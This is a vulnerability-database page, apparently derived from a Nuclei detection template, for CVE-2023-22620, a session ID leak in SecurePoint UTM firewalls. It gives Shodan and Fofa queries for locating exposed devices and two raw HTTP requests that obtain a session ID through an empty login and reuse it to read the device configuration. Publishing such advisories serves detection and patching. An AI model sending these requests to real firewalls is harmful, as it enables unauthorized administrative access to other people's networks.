🔙 목록으로 돌아가기

CVE-2023-22620: SecurePoint UTM 12.x Session ID Leak

TitleSecurePoint UTM 12.x Session ID Leak
AuthorDhiyaneshDK
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to sensitive information or perform actions on behalf of the user.
RemediationUpgrade to version 12.2.5.1 or newer
CVSS Score7.5
EPSS Score0.878
CVE IDCVE-2023-22620
CWE IDCWE-863
Shodan Querytitle:"Securepoint UTM"http.title:"securepoint utm"
Fofa Querytitle="securepoint utm"
Tags cve cve2023 utm leak memory packetstorm securepoint vkev vuln

🔍 Vulnerability Description

An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall’s endpoint at /spcgi.cgi allows sessionid information disclosure via an invalid authentication attempt. This can afterwards be used to bypass the device’s authentication and get access to the administrative interface.

🌐 HTTP Request

POST /spcgi.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/9.0
Connection: close
Content-Length: 86
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/json; charset=UTF-8

{"module":"auth","command":["login"],"sessionid":"","arguments":{"user":"","pass":""}}
POST /spcgi.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 67
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: application/json; charset=UTF-8

{"module":"system","command":["config","get"],"sessionid":"XOgRm0"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22620.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-22620.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A